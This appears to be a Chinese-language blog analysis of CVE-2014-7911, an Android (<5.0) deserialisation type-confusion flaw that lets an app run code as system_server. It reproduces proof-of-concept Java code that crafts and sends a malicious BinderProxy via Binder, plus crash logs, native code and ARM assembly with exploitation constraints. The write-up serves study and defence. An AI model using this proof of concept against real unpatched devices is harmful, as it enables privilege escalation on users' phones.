# cve-2014-7911安卓提权漏洞分析
0x00 简介
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CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞，该漏洞允许恶意应用从普通应用权限提权到system用户执行命令，漏洞信息与POC见(1]。漏洞的成因源于在安卓系统（<5.0）中，java.io.ObjectInputStream并未校验输入的java对象是否是实际可序列化的。攻击者因此可以构建一个不可序列化的java对象实例，恶意构建其成员变量，当该对象实例被ObjectInputStream反序列化时，将发生类型混淆，对象的Field被视为由本地代码处理的指针，使攻击者获得控制权。
0x02 漏洞分析
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在Jann Horm给出的漏洞信息与POC中(1]，向`system_server`传入的是不可序列化的`android.os.BinderProxy`对象实例，其成员变量在反序列化时发生类型混淆，由于`BinderProxy`的finalize方法包含本地代码，于是在本地代码执行时将成员变量强制转换为指针，注意到成员变量是攻击者可控的，也就意味着攻击者可以控制该指针，使其指向攻击者可控的地址空间，最终获得在`system_server（uid=1000）`中执行代码的权限。下面主要结合POC对漏洞进行详细分析，由于笔者之前对相关的Java序列化、`Android binder`跨进程通信和native代码都不太熟悉，主要根据参考文献进行翻译、整理和理解，不当之处，还请读者海涵。
**_Java层分析：_**
第一步，构建一可序列化的恶意对象
创建`AAdroid.os.BinderProxy`对象，并将其放入Bundle数据中
```
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable("eatthis", evilProxy);
```
注意`AAdroid.os.BinderProxy`是可序列化的，其成员变量`mOrgue`就是随后用于改变程序执行流程的指针。随后该可序列化的`AAdroid.os.BinderProxy`将在传入`system_server`之间修改为不可序列化的`Android.os.BinderProxy`对象
```
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
//public long mObject = 0x1337beef;
//public long mOrgue = 0x1337beef;
//注意：此处要根据待测的Android版本号设置，在我们待测试的Android 4.4.4中，BinderProxy的这两个Field为private int，这样才能保证POC访问的地址为我们设置的值0x1337beef
private int mObject = 0x1337beef;
private int mOrgue = 0x1337beef;
}
```
第二步，准备传入`system_server`的数据
主要通过一系列java的反射机制，获得`android.os.IUserManager.Stub,andrioid.os.IUserManager.Stub.Proxy`的Class对象，最终获得跨进程调用`system_server`的IBinder接口——mRemote，以及调用`UserManager.setApplicationRestriction`函数的`code——TRANSACTION_setApplicationRestriction`，为与`system_server`的跨进程Binder通信作准备。
```
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+" inner classes found");
Class clStub = null;
for (Class c: umSubclasses) {
//it's android.os.IUserManager.Stub
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}
Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null);
UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
Object proxy = fService.get(um);
Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+" inner classes found");
clProxy = null;
for (Class c: stSubclasses) {
//it's android.os.IUserManager.Stub.Proxy
System.out.println("inner class: "+c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);//获得跨进程调用system_server的IBinder接口
UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
```
第三步，向`system_server`传入不可序列化的Bundle参数
接下来，调用`setApplicationRestrictions`这个函数，并传入了之前打包`evilproxy`的Bundle数据作为参数。将该函数与Android源码中的`setApplicationRestrication`函数[6]对比，主要的区别在于将传入的Bundle数据进行了修改，将之前可序列化的`AAdroid.os.BinderProxy`对象修改为了不可序列化的`Android.os.BinderProxy`对象，这样就将不可序列化的Bundles数据，通过Binder跨进程调用，传入`system_server的Android.os.UserManager.setApplicationRestrictions`方法。
```
public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
//修改AAdroid.os.BinderProxy为Android.os.BinderProxy
byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);
/**
通过Binder机制跨进程调用Android.os.UserManager.setApplicationRestrictions方法，
向system_server传入的是实际不可序列化的Android.os.BinderProxy对象
*/
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}
```
安装POC，启动`Activity`后将其最小化，触发GC，引起Android系统重启，从Logcat日志中可以看到，`system_server`执行到了之前设置的`BinderProxy`对象的`0x1337beef`这个值，访问了不该访问的内存，导致异常。错误信号、寄存器快照和调用栈如下：
```
05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon >>> system_server <<<
05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
05-14 18:30:56.064: I/DEBUG(3695): r0 1337beef r1 401b89d9 r2 746fdad8 r3 6d4fbdc4
05-14 18:30:56.064: I/DEBUG(3695): r4 401b89d9 r5 1337beef r6 713e3f68 r7 1337beef
05-14 18:30:56.064: I/DEBUG(3695): r8 1337beef r9 74709f68 sl 746fdae8 fp 74aacb24
05-14 18:30:56.064: I/DEBUG(3695): ip 401f08a4 sp 74aacae8 lr 401b7981 pc 40105176 cpsr 200d0030
...
I/DEBUG ( 241): backtrace:
I/DEBUG ( 241): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG ( 241): #01 pc 0007097d /system/lib/libandroid_runtime.so
I/DEBUG ( 241): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG ( 241): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG ( 241): #04 pc 00026fe0 /system/lib/libdvm.so
I/DEBUG ( 241): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG ( 241): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG ( 241): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG ( 241): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG ( 241): #09 pc 00055287 /system/lib/libdvm.so
I/DEBUG ( 241): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)
I/DEBUG ( 241): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)
```
**_Native层分析:_**
假如`BinderProxy`可以被序列化，那么在反序列化时，其field引用的对象也会被反序列化；但在POC中`ObjectInputStream`反序列化的`BinderProxy`对象实例不可序列化，这样在`ObjectInputStream`反序列化`BinderProxy`对象时，发生了类型混淆（type confusion），其field被当做随后由Native代码处理的指针。这个filed就是之前设置的`0x1337beef`，具体而言，就是mOrgue这个变量。
`android.os.BinderProxy`的finalize方法调用native代码，将mOrgue处理为指针.
```
protected void finalize() throws Throwable {
destroy();
super.finalize();
return;
Exception exception;
exception;
super.finalize();
throw exception;
}
```
其中，destroy为native方法
```
#!java
private final native void destroy();
```
cpp代码
```
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong((void*)javaObjectForIBinder);
IPCThreadState::self()->flushCommands();
}
```
最终native代码调用上述`decStrong`方法，从
```
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
```
这一行可以看出，drl就是mOrgue，可以被攻击者控制。 所以，`drl->decStrong`方法调用使用的this指针可由攻击者控制。
再看一下RefBase类中的decStrong方法
```
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}
```
注意上述`refs->mBase->onLastStrongRef(id)`最终导致代码执行。
**_汇编代码分析：_**
下面看一下发生异常时最后调用的`RefBase:decStrong`的汇编代码。将`libutils.so`拖入IDA Pro，查看`Android::RefBase::decStrong`函数。分析时需要牢记的是，攻击者能够控制r0(this指针)
首先对r0的使用，是在decStrong的前下面三行代码之中
```
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
```
对应的汇编代码如下
```
ldr r4, [r0, #4] # r0为this指针，r4为mRefs
mov r6, r1
mov r0, r4
blx <android_atomic_dec ()>
```
首先，mRefs被加载到r4。（r0是drl的this指针，mRefs是虚函数表之后的第一个私有变量，因此mRefs为r0+4所指向的内容）
然后，android_atomic_dec函数被调用，传入参数&refs->mStrong.
```
const int32_t c = android_atomic_dec(&refs->mStrong);
```
这被翻译为
```
#bash
mov r0, r4 # r4指向mStrong，r0指向mStrong
blx <android_atomic_dec ()>
```
作为函数参数，上述r0就是`&refs->mStrong`。注意，mStrong是refs（类`weakref_impl`）的第一个成员变量，由于`weakref_impl`没有虚函数，所以没有虚函数表，因此mStrong就是r4所指向的内容。
另外，`refs->removeStrongRef(id);`这一行并没有出现在汇编代码中，因为这个函数为空实现，编译器进行了优化。如下所示。
```
void removeStrongRef(const void* /*id*/) { }
```
在调用android_atomic_dec后，出现的是以下代码
```
if (c == 1) {
refs->mBase->onLastStrongRef(id);
```
对应的汇编代码
```
cmp r0, #1 # r0 = refs->mStrong
bne.n d1ea
ldr r0, [r4, #8] # r4 = &refs->mStrong
mov r1, r6
ldr r3, [r0, #0]
ldr r2, [r3, #12]
blx r2
```
注意，`android_atomic_dec`函数执行强引用计数减1，返回的是执行减1操作之前所指定的内存地址存放的值。为了调用`refs->mBase->onLastStrongRef(id)`(即：`blx r2`)，攻击者需要使`refs->mStrong`为1.
至此，可以看出攻击者为了实现代码执行，需要满足如下约束条件：
1. drl(就是`mOrgue`，第一个可控的指针，在进入`decStrong`函数时的r0)必须指向可读的内存区域;
2. `refs->mStrong`必须为1;
3. `refs->mBase->onLastStrongRef(id)`需要执行成功。并最终指向可执行的内存区域。即满足
and
```
if(*(*(mOrgue+4))==1){
refs = *(mOrgue+4)
r2 = *(*(*(refs+8))+12)
blx r2 ----->获取控制权
}
```
除此以外，攻击者还必须克服Android中的漏洞缓解技术——ASLR和DEP。
0x03漏洞利用
========
* * *
为了成功获得任意代码执行，攻击者可以使用堆喷射、堆栈转移（stack pivoting）和ROP等技术。受限于笔者目前水平，这里就不再分析了，具体分析和retme大牛的POC可参见[2,3,4]。
值得注意的是，尽管Android采用了ASLR机制，但为了获得正确的地址，可以基于这样一个事实：`system_server`和攻击者app都是从同一个进程`-Zygote fork`而来，具有相同的基址，攻击者通过分析自己进程的map文件（位于/proc//maps）就可以知道`system_server`以及所加载模块的内存布局。
另外一个有趣的话题是，洞主Jann Horn对PAN的分析进行了评论(2]，认为不需要复杂的ROP gadgets就可以实现命令执行，而PAN对此进行了澄清。这从侧面反映了漏洞利用技术也是一门大的学问，有时即使漏洞发现者也未必能够真正理解漏洞利用的挑战。
最后Jann Horn谈到了发现此漏洞的灵感(5]，源于他在大学时听到的一次讲座，涉及到某个PHP web应用在反序列化攻击者输入数据时出现的漏洞，这使他思考其他应用是否也有类似的问题。他知道Java的反序列化由`ObjectInputStream`处理不可信的输入数据，android也许忘了进行检查。是的，漏洞就在那里。
**_参考文献_**
(1][http://seclists.org/fulldisclosure/2014/Nov/51](http://seclists.org/fulldisclosure/2014/Nov/51)
(2][http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation](http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation)
(3][https://github.com/retme7/CVE-2014-7911_poc](https://github.com/retme7/CVE-2014-7911_poc)
(4][https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf](https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf)
(5] https://www.reddit.com/r/netsec/comments/2mr9cz/cve20147911_android_50_privilege_escalation_using/\
(6][http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29](http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29)